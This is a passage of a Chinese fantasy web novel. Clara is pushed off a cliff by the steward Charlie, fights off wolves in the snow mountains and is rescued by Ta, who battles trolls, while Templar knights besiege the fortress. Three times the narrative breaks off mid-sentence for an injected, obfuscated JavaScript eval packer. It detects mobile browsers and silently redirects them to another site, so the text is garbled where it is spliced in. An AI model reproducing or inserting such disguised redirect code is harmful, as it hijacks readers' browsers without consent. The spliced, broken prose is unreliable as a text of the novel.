“暴风雪不停,恐怕得暂时滞留在营地。”弗洛伦斯有些担忧。虽然这些士兵早已习惯雪山上恶劣的天气,但每一次进山仍然会保持警惕与敬畏——谁也不想丢失生命。 “或许很快就会停,像昨天那样。”克劳拉安慰她。 “希望如此。” 不幸的是,这场雪下了整整一个上午,士兵不得不经常清理积雪,也当是活动身体。 下午时雪虽然停止,但云层并未散去,查理观测着天气,还是决定继续滞留营地。即使他们此时出发,也难以在夜晚最冷的时候赶到下一个驻扎点,届时可能会导致队伍发生伤亡。 既然选择停留,弗洛伦斯想着可以带克劳拉在附近走动一圈,让她感受一下雪山的险恶。 “不过再等等,外面还在飘小雪花,也不能走远了,就在那边矮些的山头。” 克劳拉倒是没什么异议,她已经适应了高地的环境,身体的不适已经消失得七七八八,她感觉或许自己原本就应该属于群山。 有士兵来两人的帐篷喊弗洛伦斯,她叮嘱克劳拉,呆在帐篷里不要乱跑,一定要等她回来。 克劳拉满口答应后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986715|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她才放心地离开。 “出什么事了?”弗洛伦斯询问士兵。 士兵压低声音,似乎不想让更多的人知道,“您去一趟队长那里。” 片刻后,弗洛伦斯就得知在不远处的树林里有狼群的踪迹,这确实不能广而告之,难免会引起恐慌。 查理带队去树林里可能会引人怀疑,弗洛伦斯只思索片刻就决定由她带一批人去树林,反正她平日里也会时不时去树林里捡松茸。 “我去告诉克劳拉——” “我去告知克劳拉小姐吧,您先带士兵们去树林。”查理接下这个任务。 “也行。”弗洛伦斯点了近三十人,都是些先遣部队退下来的能手。 还有一批士兵去另一头巡逻,营地留下的士兵并不多,反而显得有些空旷。几位女孩正在照顾路上出现冻伤的士兵。 查理吩咐跟随他的士兵去替女孩们弄些热水,让她们时刻有热水可以用。女孩们向他微笑示意,好奇地询问弗洛伦斯去哪了。 “弗洛娅小姐有些事要忙。”他心虚地咳一声。 女孩们立刻明白了,弗洛伦斯又惦记她的松茸,跑去树林里了——这已经被侯爵警告好几次了,实在太危险了,但弗洛伦斯就爱往树林里跑。 原本有克劳拉小姐陪着,她最近收敛了很多,没想到今天逮着机会又跑出去了。 “克劳拉小姐那边……” “没关系,弗洛娅小姐说她好像有些身体不适,在帐篷里休息。初次来高地,难免有些……弗洛娅小姐还专门吩咐不要打扰她,等小姐回来会为克劳拉小姐亲自煮汤。” 查理露出了两位小姐关系真好的欣羡表情,女孩们也羡慕地打趣起来。 在帐篷里的克劳拉等了半天也没见弗洛伦斯回来,她出到帐篷外透气。 云层已经散去了不少,橘红色的太阳已经带有西斜的倾向,而另一边月亮已经挂在云端。 克劳拉仰头环视着雪峰,从昨天至今,她还没认真地观察过周围的环境。 “克劳拉小姐。”查理忽然出现在她背后不远处,只有他一个人。 “你好,查理。”对于这位后勤队长,克劳拉还是有好感的,他这两天一直在队伍忙前忙后,照顾落后或是冻伤的士兵。 “弗洛娅小姐在那边山头等您,派我邀请您过去,似乎说为您准备了些什么惊喜。” 他指的方向,正好是弗洛伦斯不久前说过的山头,只是克劳拉有些犹豫,弗洛伦斯不是说回帐篷找她。 查理状似苦恼,“但是那边实在有些危险,您要是害怕过去,我就去回绝小姐。” 说着他就准备往山头去。 想到弗洛伦斯有时候确实想一出是一出,克劳拉小步追上查理,“我去一趟吧,也不知道弗洛娅准备做些什么。” “小姐总是弄些出乎人意料的动作,我也不太清楚。”查理特意放缓脚步,和她一起慢慢爬。 克劳拉深一脚浅一脚走在雪地里,查理还教给她一些在冰面上行走保持平衡的方法,还告诉她遇到过膝积雪是如果快速过去。 她听得很认真,这些都是士兵们在雪山生存多年的经验,听了万一哪天就用上了。 山头并不远,但离营地也有近十分钟的路途。越往高处,就越接近那抹太阳。 来到山头时,太阳正好隐藏进一片峰头,只余下被橘光染色的云朵混在一片紫黑色的夜晚中。 克劳拉被眼前的一幕震撼,她驻足在山顶,想要将眼前的一切永远记在心中。 这难道就是弗洛伦斯要给她看的惊喜?她回过头兴奋地询问,“弗洛娅人呢?” 下一瞬,克劳拉笑容凝固在脸上,她被一股巨力推向深渊,眼神里透露着不解。 “抱歉,魔女应该被杀死。”风中只留下这么一句话。 远在先遣部队的塔,忽然放下手中的盘子,他的脸上与袒露在外的手臂上莫名浮现出不同程度的划伤,这些伤口凭空出现,像是有人用尖锐的树枝在他的身上重重刻划——即使他在发光图腾的作用下很快愈合,又会添上新的伤口。 身边的士兵们被他的变化吓了一大跳,一个个目瞪口呆地注视着他的脸 他随手一蒙脸,径直去找主帐篷里伊登。 同样正在用餐的伊登,忽然觉得一阵难以忍受的心悸,他手中的勺子不自觉滑落,主帐篷门帘正好被掀开,塔大步走进帐内。 两人对视一眼,异口同声道: “若拉出事了?” “希姆出事了。” 67. 第67章 微风吹过,树枝终于不堪积雪的重负,向下一垂。“咔嚓”声惊动了一只雪貂,它迅速钻回巢穴之中。 积雪落到克劳拉头上,成功将昏迷中的她砸醒。 挣扎地爬起来,坐在雪地里的克劳拉,茫然思索了半响,才回想起目前的情况。 她连忙检查自己的身体,除了斗篷被划破,衣服也有各种程度上的破损,而她身上居然一点伤口都没有,甚至四肢完好无损,也没有骨折。 白珠静静地坠在她的胸前,散发出温暖的光。 意识到这或许与塔契约的原因,克劳拉心中隐隐担忧,也不知道塔会遭受些什么。 回想失去意识前的一切,克劳拉在落下悬崖瞬间,就看到跑来确认她坠崖的查理也因为那一片山体坍塌滚落下来。 也不知道他还活着吗,他居然装得那么好,再加上他为侯爵家工作多年,大家都本能地信任他,克劳拉当然不会无故对这样一位老好人生起怀疑。 没想到他却怀着对她的仇恨,是他兄长杰克的原因吗? 克劳拉叹口气,透过松树枝间的缝隙,借着月光,她只看到光秃陡峭的山臂,恐怕做不到从这条路返回营地。 扶着树枝慢慢站起身,也不知道过去了多久,更不知道营地里现在如何了。克劳拉握着腰间的佩剑,慢慢朝着山壁的方向走去。 她要去找找查理,确认他的死亡,若是没死,她大概会亲手杀了他。克劳拉确信查理肯定没法像她一样活动自如——从这么高的地方摔下来。 不多时,克劳拉就看到了查理的尸体,尽管这些树木为他提供了不少缓冲,但他在落进树林前,就已经在山壁上摔得不成人型。 克劳拉只是简单地做了些祷告,还顺手摸走了他的护目镜以及怀里的火绒盒[1]就离开了,她还不至于心地善良到为谋杀她的人立墓碑。 仰头努力辨认北极星的方向,她背朝着北极星慢慢往南走,总之最好不要呆在森林里,以免有什么意想不到的猎食者冒出来。 克劳拉倒不是很担心自己不能离开这片雪山,渡鸦会带着安娜找到她,这只是时间问题,她唯一需要操心的是让自己存活到安娜找到她。 没想到查理生前最后那会用于骗取她信任的知识,这会反而让克劳拉受益。她小心地在靴底绑了些连成排的木棍,让自己不至于陷入雪地太深。 好不容易走出林子后,天色已经泛白。克劳拉沿着山壁行走,想要寻找一个能够避风雪的地方,有山洞就再好不过了。 因为没有时钟,她只能靠天色辨别时间,但天色暗得很快,积云厚厚地压在山头,恐怕不久后又要暴风雪了。 她裹紧斗篷,加快了步伐,虽然白珠能让她免受寒冷,但克劳拉又累又饿,膝盖也变得越来越沉。 祸不单行,零散的雪花飘下来时,她听到一阵狼嚎,听声音离她并不远。 狼嚎激起了一小片雪堆从山间滑落,索性没有引起大规模雪崩,但剧烈的暴风雪随之而来。 克劳拉勉强找到了一处能避风的大石,躲在背风处休息会,她用手将雪捂化涂抹在有些干裂的唇上。 大雪中能见度很低,天地间都是纷纷扬扬的灰白色。耳边除了呼啸的风声再无其他声音。 这种感觉并不好,孤独感一旦升起很快就会席卷整个大脑,所以克劳拉小声哼起歌给自己壮胆。 等风雪稍微小些,她必须继续往前,这里不能停留太久,尤其是狼群就在附近。 只坐在原地空想什么都不做,很容易犯困,尽管克劳拉几次强撑着警醒自己不能在雪地中入睡,但眼皮就是不受控制地往下垂。 忽然间一小堆雪落到克劳拉面前,她立刻警觉惊醒,慢慢站起身贴着石壁,并缓缓抬头。 一匹灰狼正站在石头顶端远眺,似乎在找寻猎物的踪迹,绒毛几乎和黑夜融为一体。 心跳如雷般跳动着,克劳拉努力侧耳倾听,除了头狼外还有不少细碎的脚步声,她心中这或许是头孤狼的侥幸彻底浇灭。 脑中飞速思考着对策,回想着狼群的弱点,狼群怕火光但她目前没法升起篝火;怕巨响,但未必能吓退整个狼群。 唯一的可能就是将头狼杀死,威慑群狼,这并不容易。尽管克劳拉伤口很快痊愈,但她想尽量避免受伤,毕竟她并不清楚她受伤后塔会如何,又要付出什么代价才能让她的伤口快速愈合。 狼群绝对是顺着她的气味找到这里,只是现在风雪很大,让它们短暂失去了她的踪迹。发现她躲在石头下是迟早的事,与其到时被动应对狼群,不如她主动出击。 捡起一块石头,用力一掷,石头砸中了不远处一颗枯树,树枝上的雪骤然撒落。头狼很警惕,它并没有立刻跳下石头,而是由另外两头垂着尾巴的黑狼前去。 这和预想中的不太一样,不过也无所谓,克劳拉的目的只是为了让狼离开高处,她不能离开这块石头区域,以防背后暴露给野兽。 她又拿起块石头,砸中了其中一只的后腿,被砸中的狼发出一声哀鸣,而另一只狼与头狼也终于发现了克劳拉的存在。 克劳拉在的地方,微微凹进去了一些,狼群不可能直接从顶部朝她扑过来,只能一只只跃到她面前的雪地,压低身体,幽绿的眼睛死死盯着她,喉里发出威慑的低吼。仿佛一旦她表现出害怕和逃跑的念头,它们就会一拥而上将她撕碎。 克劳拉没有被他们吓到,毫不畏惧地与它们对视,压低重心,不断用剑鞘敲击着石壁,试图用这种声音将它们吓退。 狼群迟迟没有进攻,也许是因为起先那匹狼的受伤让它们有些犹豫,也或许它们在消耗克劳拉的体力,等待她露出破绽的那一刻。 在克劳拉暗想这么下去吃亏的是她,还是要继续砸石头时,她余光瞄到左侧有一匹狼朝她扑过来,她迅速挥出手中的剑。 一抹鲜红溅在雪地上,克劳拉平静地一脚踢开负伤哀嚎的狼。她锋利的武器与冷静的态度终于让狼群有所顾虑。 克劳拉又挥舞着剑猛地向前几步,同时发出低沉的呵声,狼群立刻后撤退开。 最终头狼选择了避让,它扫了一眼雪地里负伤的同伴,沉默地率领狼群离开,消失在黑夜里。 但克劳拉没有立刻放松警惕,她缓缓靠近那只重伤奄奄一息的灰狼,它急促地呼吸着,发出小声的呜咽,瞳孔微微放大,一直盯着眼前人,似乎在求饶。 双腿和握剑的手都在发软,克劳拉明白,她必须要进食了,这只灰狼是她的食物,她不能心软,反正天寒地冻的它也活不下去。 她轻轻闭上眼,双手握剑往下一扎。 整理狼尸时,克劳拉才察觉到那些仍然在暗处窥视她的绿光彻底离去了。 实在不想吃生肉,克劳拉捡了些柴火,慢慢生火。第一次做这种事她显得很笨拙,被雪浸润过的柴火很难烧起来,她折腾半天也只弄出一堆黑烟。 好不容易点燃了明火,烤肉又烤得半生不熟,狼肉本身就有一股不太好闻的腥臭,又没有任何调味品,实在难以下咽。 为了恢复体力,她强迫自己吃下去,就着雪水,好歹恢复了些力气。 暴风雪逐渐停了,偶尔有几片雪花飘落。勉强吃饱喝足的克劳拉,将剩下的肉负在背上,收集好烤干的柴火,继续向前。 此时的要塞里也面临着重大危机,一群圣殿骑士,从四面八方的树林里奔涌而出,逐渐包围了这座守卫边境数百年的传奇要塞。 放飞出去传信的信鸽很快被射杀,任何消息都传递不出去。哪怕是再训练有素的士兵们,此时也有些慌了神——他们一直以为面对的只有巨魔,何时与同胞兵戈相向过。 玛格丽特目前是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006740|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞的主心骨,留守要塞的骑士长其实并不信任她,她离开要塞前往王都读书几年又避世近三年,不像弗洛伦斯一直与士兵们打成一团。 “请求雪鸮骑士的帮助吧。”玛格丽特缓缓开口,她看出了要塞内众多官员以及骑士们对她的不信任,显然在她说出这番话后,这些人眼中的失望一闪而过。 “这是西亚尔玛的事情,祈求他人的帮助,是对我们的侮辱!”一位骑士站起来大声道。 主座上的玛格丽特微微抬眼,直视这位骑士,“所以是你们的尊严重要,还是要塞里数万名民众重要?尊严比死守要塞更重要吗?” 骑士语塞,支吾道:“要塞更重要。” 玛格丽特闭眼又很快睁开,“克劳拉的骑士之间有一种很特殊的传信方式,我估计这种方法应该不会被圣殿骑士们察觉——当然我也无法肯定。其次女巫安娜也在西亚尔玛附近,她也许会很快回到西亚尔玛,也许不会,但我们必须寻求女巫的帮助。” “德文希一家抱着友好态度和我们相交,两家士兵共守山脉多年,短短20年,你们就对我们的同伴失去信任了,这若是让他们知道了,该有多心寒。” “我明白了,我会立即与雪鸮骑士们商议,请求他们协助。”骑士长站起身,向玛格丽特行礼后,率领众骑士消失在会议厅。 温柔但坚韧的目光转向剩下的官员,“那么还请你们迅速清点要塞剩余的粮食,做好打持久战的准备;派人安抚民众……” 玛格丽特有条不紊一一下达任务,领到任务的官员立刻离开,要塞又很快运作起来。 身后的女仆长欣慰地注视着她,她原以为玛格丽特会慌神又躲回那扇门之后,但她的大小姐稳稳地坐在了会议室。 “您长大了,玛格小姐。” “这不算什么。”玛格丽特轻声说,也不知道克劳拉在的话,她会怎么做。 雪鸮骑士毫不吝啬地提供了援助,渡鸦其实并不算生物,而是一种魔法制品。只是没等雪鸮骑士召唤渡鸦,安娜的渡鸦就飞进了要塞,带来了新的消息。 原来安娜与北境骑士们刚到树林不久,发现了法阵的踪迹。但她还没来得及破坏,法阵就被人启动,一队圣殿骑士目测近50多人从法阵中走出。 随即安娜感应到这附近不止一道正在运作的法阵,起码有数百个。安娜与北境骑士们商议过后,决心他们留在后方,将这些法阵逐个破坏,断绝圣殿骑士的后路。 同时她已经传信给克劳拉,应该要不了多久侯爵的部队也会回防要塞。 这下留守的骑士们纷纷松了口气,他们只需要死守几天,就能等到侯爵,届时里应外合,还能反过来围困圣殿骑士们。北境骑士信心大增,士兵们立刻按照最新调整过的防守布局行动起来。 塔站在头狼曾经站过的大石上,朝着冰原眺望,他看到了雪地上的玫红,知道克劳拉遭遇了狼群,也明白自己没有找错地,希姆就在这一带。 一只渡鸦在灰白的空中盘旋,很快俯冲而下,他快速跳下大石,朝着渡鸦所在地疾驰而去,即使是厚厚的积雪也无减他的速度。 不久后,他看到一个山洞,洞口已经围上了一层冰雪,留了一个不大的口。塔听到熟悉的人声,带点笑意,“我这会可没有坚果给你。” 塔悬着的心终于落回实地,他踩着积雪,慢慢来到洞口。 听到陌生的动静,洞内的克劳拉立刻警觉。她拿起剑,慢慢起身,谨慎地贴着墙壁,往洞口探去。她实在太过疲惫了,没有注意皮质手套下发热的手背。 渡鸦比她先一步窜出去,亲昵地蹭了蹭来人。熟悉的面容出现在了那小小的雪窗口。 克劳拉松了口气,“是你啊,塔。” 她没有意识到自己的语气有多温柔。 “是我,可以进来吗,希姆?” 68. 第68章 得到许可的塔,一拳就将克劳拉辛苦半天用于填洞口的雪堆砸塌了。 克劳拉:“……喂!” 在背上将右手的雪渣擦去,塔大步走进洞里,小心检查克劳拉的情况,唇紧紧抿着,神色紧张。 “我没事。”克劳拉反过来还拉住塔上下打量,“我一点伤都没受,是不是因为契约的原因!这个契约到底怎么回事,你要付出什么代价……” 塔不想回答,所以他手一伸,紧紧拥抱克劳拉,低下头埋在她的肩膀上,将后颈坦然地露在克劳拉眼底。 克劳拉语塞,后面要说的话一下就忘了。但她心中还是一阵烦闷,于是抬手狠狠薅了把塔的头发,隔着手套也能感觉到又硬又扎手,像主人的臭脾气一样,“不要撒娇!” “没有。” 良久克劳拉忍不住捏了把塔后颈,示意他该放开了,塔才装作若无其事松开手,撇开脸打量洞内的环境。 这是克劳拉走了许久才找到的洞穴,有人居住过的痕迹:稻草铺成的地垫,一些陶罐,还有生火的碳灰,最主要的是洞穴深处有一汪活水泉。 看来是巡山人的据点,也算帮了克劳拉一把。她才刚生起火,烧开了水,就马不停蹄开始用雪堵住洞口,准备休息会。 现在努力半天白做了,不过也好,塔在身边,她能安心休息会。话虽这么说,她还是眼神凶狠地命令塔将洞口重新堵好。 塔目光飘忽了一瞬,但他没有立刻行动,反而先用帕子沾水帮克劳拉擦拭了下脸上的血迹与黑灰,很快后者夺走手帕自己擦。 “那些狼,我去杀掉?”只要塔想,他完全可以反追踪到狼群,并且杀死他们。 克劳拉摇摇头,她和狼群都是为了生存,没必要赶尽杀绝,推了身边人一把,“快去将洞口堵上!我一整天没睡觉,要休息一会。” 这回没有再磨蹭,塔用容器去泉水处接了几罐水,既然要封洞口,像克劳拉那样只用雪堆是不行的,很容易被破开,至少他只需要一拳。 他忙活半天,确认新的冰墙无比结实,狼群难以撞破后,在右边留了些松散的雪与小洞,用于透气与一会外出。 身后的克劳拉已经发出均匀的呼吸声,她侧身蜷缩着。渡鸦窝在她脑边,也在打盹。 将火生旺些,塔架起陶罐,熬起了肉汤。克劳拉为了减轻自己的负重,节省体力,带走的肉并不多,绝对不够两人吃。 塔在心中估算一下,看天气很快又是暴雪,他们还得在洞里待上一天左右才能离开。那等希姆醒来后,就需要再去弄些猎物,至少要保证充足的体力才能下山。 将渡鸦赶走,塔坐到克劳拉身边,靠着石壁,也微垂下眼,小憩一会,他也一整天多没有阖眼。感知到克劳拉出事后,他告别大部队,靠着契约感应,独自一人在雪原上寻找克劳拉的踪迹。 幸好这一路上,塔没有再添新伤口,也幸好,他找到了。 克劳拉被食物的香气吸引醒来,塔在烤肉,还随身带了些盐巴。见她醒来,塔微微翻转下手中的肉串,“马上就好了。” 一想到自己烤的那难以入口的烤肉,她就留下了心酸的泪水,还好塔来了,不然自己又要吃好久难吃的食物。 在塔烤好食物前,克劳拉展开还没来得及阅读的渡鸦带来的纸条。一目十行扫过后,她表情立刻变得沉重。 敏锐感知到她情绪变化,塔疑虑地望过来。 抓了抓有些凌乱的长发,克劳拉烦躁,“圣殿骑士包围了要塞,他们算好时间了吧,要塞里现在只有一千左右士兵。” 但圣殿骑士就算攻下要塞,侯爵迟早也会杀回要塞,除非他们肯定能让侯爵彻底折在山脉里,也不知道侯爵那边还有什么后手。 查理谋杀她多半也有教会的手笔,教会真是——克劳拉第一次真心想要一个组织覆灭。 克劳拉拿出随身携带的小本,撕下一张,将要塞和自己的情况写下,绑在渡鸦腿上,让它先去伊登那边,再回到安娜身边。 侯爵应该并非毫无准备,毕竟自己早已警醒过他了。现在她该思考的是该怎么快速离开这里。 渡鸦吃了几口塔喂给它的肉条,这才从洞口挤出去,扑棱着翅膀飞走。 烤好的肉与刚温热的汤被递到面前,塔拿起匕首又切下一块肉,总感觉在洞内匕首使用着很沉,没有细想,他道,“离开这里还需要一些时间,您先吃些东西补充体力。” 随即他又提到食物不太够的情况,“附近有座湖,虽然湖面冻住了,过会可以去捕些鱼。” 捕鱼?克劳拉歪头,“湖面结冰了,怎么捕鱼?” “结冰了才好捕,”塔难得露出有些得意的笑容,“以前在族里,我找的冰洞总是鱼最多的。” 他兴致勃勃地和克劳拉讲解怎么通过阳光、水下的气泡判断哪里鱼多。 感觉自己有些自说自话了,塔收住越来越发散的话题,连忙观察克劳拉的神情。 但克劳拉脸上没有他想象的不耐烦或是走神,她专注地听着,眼神一直聚焦在他身上,见他停下来,克劳拉还疑惑, “怎么不说了?” “以为您对这些没有兴趣,毕竟您不需要捕鱼,总会有人将鱼送到您面前。”塔垂下眼。 “嗯……但是,万一哪天我又沦落到这个地步了,还可以尝试用你说的方法……” “以后不会了!我不会再让您遇到这种情况!” 眼前的大狗反应有些激烈,虽然用狗形容人家好像不太好,克劳拉笑了下,“好吧,其实我只是觉得你很少在我面前说这么多话。明明在族群里你不是这种沉默寡言的性格,所以是讨厌我吗?” 她当然知道塔不可能讨厌她,就是想逗弄一下,而且塔确实在她面前很少说话啊。 “没有!”塔激动地站起来,又觉得自己反应过激了,局促地现在原地,眼尾莫名发红,“我,只是,不知道和您说什么,我不如亚克能向您汇报工作上的事,又不像安娜、雪莉小姐她们随便就能讨您喜欢……若不是您仁慈,我都没办法待在您身边……” 啊,玩笑开大了,克劳拉可没想把人惹哭,她招招手,塔踌躇着蹲在她面前。 塔的长相和帝国人并不相同,帝国人大都肤色白皙,无论男女都以雪肤为荣。但塔的肤色呈现健康的蜜色,像一只健壮的小豹子。 一双金瞳平日里在阳光下呈现独特的光泽,显得疏离而锐利。但在此时,有些昏暗的洞穴里,这双眼睛反而映出落日般的色彩。 “抱歉,我不是这个意思。”克劳拉又薅了一把他的头,“你和大家是不同的,没必要和他们比较。让你呆在我身边也不是因为仁慈,是因为你有价值。” 事实上,克劳拉一直不能理解塔的动机,除了伊登,她身边大都数人和她都是利益交换。她原以为塔也是,但塔却送给她珍贵的白珠,还定下这种极度不平等的契约,却从来没索取报酬,塔到底想她这里的得到什么。 不管塔想从她这里得到什么,克劳拉需要他和他族人的力量,只要塔所图不过分,她愿意给他一些甜头, “对我来说你是特别的。”她缓缓地道。 塔沉默地蹭蹭她的手心,两人各怀心事。 忽然一股烧焦的气味绕过克劳拉的鼻翼,她一愣,“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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挑选一些小的以及他觉得不好吃的品种又扔回去。它熟练地破开鱼腹,去除内脏,清洗后,再将这些带鱼腥的雪全都扔回湖里,免得引来猎食者。 用从克劳拉斗篷割下的一部分装好这些鱼,塔提着鱼与克劳拉打转回洞里。 但在洞口时,塔突然止步不前,侧头远眺着不远处的树林。 “怎么了?”跟在他身后的克劳拉见他面容凝重,明白塔应该是察觉到危险了。 “您先回到洞里!之后立刻用水泼没有结冰的地方!”塔没有回答具体情况,他将克劳拉推回洞内,手中的鱼也一同扔进洞里,“除非我喊您,否则绝对不要出来。” 克劳拉一阵心悸,意识到一定来了非常棘手的敌人,且数量并不少,不然塔不会这么严肃。 她抓住塔的手臂,“保护好自己,我不想又变成一个人。” “好。”塔又推了她一把,彻底用雪封死了洞口。 树林里凌乱的脚步声传来,塔阴下脸,抽出手中的剑,果然他在到达这里时就应该将这群狡诈的狼全都杀死。 狼群奔涌着冲出树林,它们身后跟随着一群巨魔——显然它们打不过巨魔,也要将巨魔引到不久前杀死它们同伴的人类面前。 只是头狼感觉不远处人类的气息完全变了,似乎并不是它们之前遇到了那个,眼前人类气味恐怖得多,它来不及呼唤同伴远离人类,下一刻它头身分离。 紧随狼群而来的巨魔见他们的猎物被杀死,发出震耳的吼叫。 等接近彻底看清塔的面容后,它们认出了这张脸——这个矮木棍,杀死过无数他们的同胞,化成灰它们都会记得!新仇旧恨凑在一起,巨魔们丑恶的外表变得更加扭曲。 “找了你们这么久也找不到踪影,原来在这里。” 塔大致估算数量,有近三十只巨魔,哪怕是他,独自一人应付也有些困难,但并非无法做到。 不!是必须做到!塔的图腾瞬间红光闪烁——希姆还在等他回去。 69. 第69章 洞穴内克劳拉心急如焚、坐立难安。敏锐的听力能让她听到巨魔们令人胆寒的怒吼声、雪塌声,但没有任何塔的声音。 久违的,她又回想起伊登出事时那种无力感。她以为自己练习了很久剑术,已经能够独当一面了。但真正遇到敌人时,她仍然是只能躲在后方的拖累,她还是什么都没能做到。 塔甚至不允许她见到巨魔,而克劳拉也无法保证自己直面巨魔时不会生出任何恐惧。 克劳拉急红了眼,额头抵在冰面上试图让自己冷静下来。又在洞里焦急地走动,想要整理鱼打些水,来到泉眼边却发现没有拿罐子。 也不知过了多久,洞外终于回归一片死寂,她的心高高悬起,塔赢了吗? 拿起被她放置在地上的剑,意外地感觉到剑变得沉重,她拿了几次才拿起,克劳拉只当自己是太紧张了。 雪地传来脚步声,她起身稍微退开些,祈祷来的是塔。 “希姆。”塔的声音很虚弱。 克劳拉立刻上前刨开雪堆,显然她并没有听从塔的话,用冰将洞口彻底封死。 也幸好如此,塔已经没有力气将冰面捶开。他浑身是血,金灿灿的瞳孔都变得有些涣散,身上的图腾也变得浅淡,甚至无法支撑他恢复伤口。 他一头栽进克劳拉怀中,还不忘安抚克劳拉,“别哭。我将巨魔都杀了……别怕……” “你先操心你自己吧。”克劳拉忍住眼泪,半拖半抱着塔,将他放在草垫上,又用温水替他擦拭身上的血迹。 图腾已经完全变得黯淡无光,塔身上有几处深可见骨的伤口,更别提大大小小的骨折。 克劳拉咬牙取下白珠,瞬间刺骨的寒冷席卷而来,但和塔的性命比起来,寒冷不值一提。 单拆下珠子塞进他口中,但半失去意识的塔无论如何都不肯吞咽。 “塔,听话,吞下去。”克劳拉在他耳边低语,又重复了几次,塔才将白珠咽下。 图腾闪烁几下,颜色又逐渐恢复,塔身上的伤口也呈现愈合之势,只是比以往慢上太多了,甚至比不过维尔图普通战士的愈合速度。 能恢复就是好事,克劳拉将没喝完的肉汤加水煮沸,灌进塔口中。又凭借着记忆尝试为塔正骨,篝火燃得太旺盛,她额角滑下豆大的汗珠。 失去白珠后,她的四肢都冻得有些僵硬,索性平时为了遮人耳目,即使佩戴着白珠她也穿得很多,破烂的斗篷还是能为她御寒。 见塔彻底失去意识,她时不时趴在塔胸口,确认几次心脏还在跳动,终于松口气,心中生出一阵后怕和疲惫。 巨魔到底有多可怕,才让塔也变成如此模样,几乎耗尽了所有的图腾之力。 但克劳拉没轻松太久,洞外一声怒吼,再次让她如坠深渊——巨魔没有死透。 另一边先遣部队刚结束与巨魔的战斗,后勤姐妹会的女孩们正紧急为受伤的士兵处理伤口。 士兵们不像塔一样拥有自愈能力,每一次与巨魔战斗他们都做好了牺牲的准备。这次作战也是死伤惨重,伤兵所在的帐篷里尽是疼痛的呻吟。 弗洛伦斯来不及为克劳拉失踪自责,太多太多士兵等待她的救助和安抚。 “在担心克劳拉吗?”侯爵刚出头帐就看到了篝火边发呆的伊登,他走上前狠拍几下他的肩膀,“白天表现还不错,到底是蒂斯的儿子。” 骨头都差点被捏碎的伊登:……没被巨魔弄伤,要被侯爵弄伤了吗。 “有点,但塔在她身边应该没什么事。” 虽然很不爽那该死的黄眼小子,但确实只有他才能在这冰天雪地的找到克劳拉,并把克劳拉安全地带出去。 他只是第一次真正直面战场,有些没能缓过来。 巨魔各个身高十英尺(2米6)以上,目测有两个他那么宽,青面獠牙,皮肤泛蓝,像极了地狱来的恶鬼。 它们手中握着巨大而锋利的骨器,也不知是用什么骨头制成。在雪地中行走时,大地仿佛都在震动。 巴特曾与兄妹两提起过巨魔,这种生物茹毛饮血,几乎没有任何智慧,只有野兽本能。人类并不是他们的主食,但它们尤其喜爱人类的恐惧,玩弄、恐吓、虐杀,让人类恐惧达到顶峰后再食用。 这是一种非常恶劣的生物,也是德林山脉的士兵与民众们深恶痛疾的生物。它们很难杀死,只有刺穿心脏亦或是砍下头颅才能杀死它们。 但因为身高体型都远超人类,想要做到这些十分困难,往往需要多人围困才能杀死一只。 但从旁人口中听说,和自己亲眼见到并与之交战的感觉是不同的。伊登原以为自己绝不会生出一丝一毫的恐惧,事实上他在目睹巨魔随意挥砍就击飞大量士兵;哪怕穿戴着锁子甲,仍有不少士兵被踩死、被吞食,对于死亡、对于绝对强大的惧意无法遏制的从心底蔓延。 一直以来,父亲母亲还有这些将士都在与这种恐怖的生物奋战。伊登这时不确定起来,他真的能做到像父母或是侯爵那样吗,他真的能为克劳拉守好这一片山脉吗? “你第一次见到巨魔已经很不错了。”侯爵看出了他的动摇,他解下酒袋,往口中灌,“在场的大部分士兵,哪个没被吓尿过,各个都不如老子。” “阁下,我没有!您记错了!”将士立刻反驳侯爵,引得侯爵哈哈大笑。 “之前我问你们的问题,你心中有答案了吗?” 伊登垂下眼,大概有了,但他没有立刻回答。 一壶酒被递到他面前,“小子,来喝点,这可和你们王都那些马尿不一样,北境最烈的酒。” 夺过酒袋,伊登猛地灌了几口,随后就被呛到,咳得天崩地裂,这什么酒啊! “你还嫩着呢小子。”篝火旁爆发出一阵嘲笑声。 伊登连忙将酒袋塞回侯爵手中,擦去咳出的眼泪,郑重道:“阁下,我会让你认可我,并将东边重新交给德文希家。” 侯爵笑而不语。 此时,渡鸦叫唤着俯冲到伊登身边,在他头上跳舞,将头发搅得一团糟,发出了嘲笑的嘎嘎声。 “死鸟,你最好有事。”伊登一把抓住它,取下它脚下的信件。 渡鸦踱步到士兵面前,豆大的眼睛示意士兵分它一块肉,并满意地欣赏这群人类惊讶的神情。 伊登快速阅读纸条,得知克劳拉安然无恙后松了口气,但越往下脸色渐沉,他转而将纸条递给侯爵。 侯爵读完后,神色不变,他早预料到教会那群狗崽子会来,也知道他的士兵里有内鬼,他朝伊登摇摇头。 将渡鸦送走后,私下只剩两人时,伊登着急地询问侯爵是否要回防。 “年轻人不要太心急,稳重点。”侯爵表现得很平静,“先遣部队当务之急还是击退巨魔,要塞那边,我还留有后手。” 让他看看,教会打算做些什么将他彻底困死在这片雪山。 